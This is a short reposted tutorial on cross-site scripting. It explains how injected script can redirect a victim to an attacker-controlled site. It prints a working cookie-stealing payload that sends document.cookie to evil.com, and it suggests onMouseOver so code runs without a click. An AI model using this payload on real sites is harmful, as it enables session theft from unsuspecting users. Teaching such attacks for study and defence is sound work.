Cross site script

http://www.steve.org.uk/Hacks/XSS/

I can run script, what now?

You've seen how you can enter script into a page and have it run when a user clicks on a link, or views a page.

This is really just a proof of concept, you don't want to have people viewing the popup boxes all day!

So .. you want to do something more useful?

Redirection

One common technique is to redirect the user to a different website which you control. This would allow you to record the users cookie for later (ab)use.

The way I've done this in the past is to use code like this:

<script>
document.location = 'http://evil.com/blah.cgi?cookie=' + document.cookie;
</script>

This would redirect the user to a CGI script called 'blah.cgi' on a website 'evil.com'.

The CGI script gets given the cookie of the innocent user as a parameter called 'cookie'. This could be recorded for use later.

Other Tips

Using the onClick handler you have to rely upon the user clicking on a link you have placed.

You do run the risk that the user will not click it, so what then?

You can use another method onMouseOver, this allows you to have code executed when the mouse pointer merely moves over a link.

  An other article:http://ha.ckers.org/xss.html
http://www.informit.com/articles/article.asp?p=603037&rl=1
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值